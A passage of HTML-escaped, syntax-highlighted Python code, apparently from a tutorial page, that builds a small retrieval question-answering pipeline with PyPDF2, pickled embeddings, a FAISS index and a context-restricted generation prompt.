&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; pickle&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;PicklingError:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Error pickling embeddings and passages.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;load_embeddings&lt;/span&gt;(file):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; pickle&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;load(f)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;FileNotFoundError&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;File &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;file&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; not found.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; pickle&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;UnpicklingError:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Error unpickling file &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;file&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;read_pdf&lt;/span&gt;(file_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_file_obj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_reader &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; PyPDF2&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;PdfFileReader(pdf_file_obj)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    num_pages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pdf_reader&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numPages
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; page_num &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(num_pages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        page_obj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pdf_reader&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getPage(page_num)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; page_obj&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;extractText()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;yield&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Finished reading file. Number pages: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;num_pages&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_file_obj&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;close()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_embeddings&lt;/span&gt;(file_path, tokenizer, model, device):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exists(EMBEDDINGS_FILE):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the embeddings and passages from disk&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        embeddings, context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; load_embeddings(EMBEDDINGS_FILE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.pdf&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;(read_pdf(file_path))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;r&amp;#39;&lt;/span&gt;, encoding&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; file:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; file&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;readlines()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        embeddings &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; passage &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tqdm(context_passages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; passage&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Skip the passage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(passage, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;, add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;, return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model(input_ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                logits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; output&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;logits
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; logits&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;detach()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cpu()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numpy()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                embeddings&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save the embeddings and passages to disk&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        save_embeddings(embeddings, context_passages, EMBEDDINGS_FILE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; embeddings, context_passages
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;handle_prompt&lt;/span&gt;(user_input, context)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Instruct: You are a helpful bot who only answers using the given context ONLY. If you cannot find the answer in the context reply &amp;#39;Sorry don&amp;#39;t have that detail&amp;#39;. Given the context &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;context&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;, answer this:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;user_input&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Output:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer(prompt, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;, return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;, add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {name: tensor&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device) &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; name, tensor &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; inputs&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items()}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;inputs, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2000&lt;/span&gt;, pad_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;batch_decode(outputs)[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove the prompt from the output text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|endoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_index&lt;/span&gt;(query_embedding):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; faiss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;IndexFlatL2(query_embedding[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;shape[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;])  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Euclidean distance&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    faiss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;normalize_L2(query_embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add embeddings to the index&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i, item &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tqdm(&lt;span style=&#34;color:#91d7e3&#34;&gt;enumerate&lt;/span&gt;(query_embedding), total&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(query_embedding)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; item&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ndim &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            item &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; item&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;reshape(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Reshape 1D array to 2D&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add(item)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; index
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;search_query&lt;/span&gt;(input_query, inputTokenizer, model, device, index, context_passages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Given a new query context, encode it and perform similarity search&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; inputTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(input_query, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;, return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;, add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; input_ids&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;long()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model(input_ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; output&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;logits
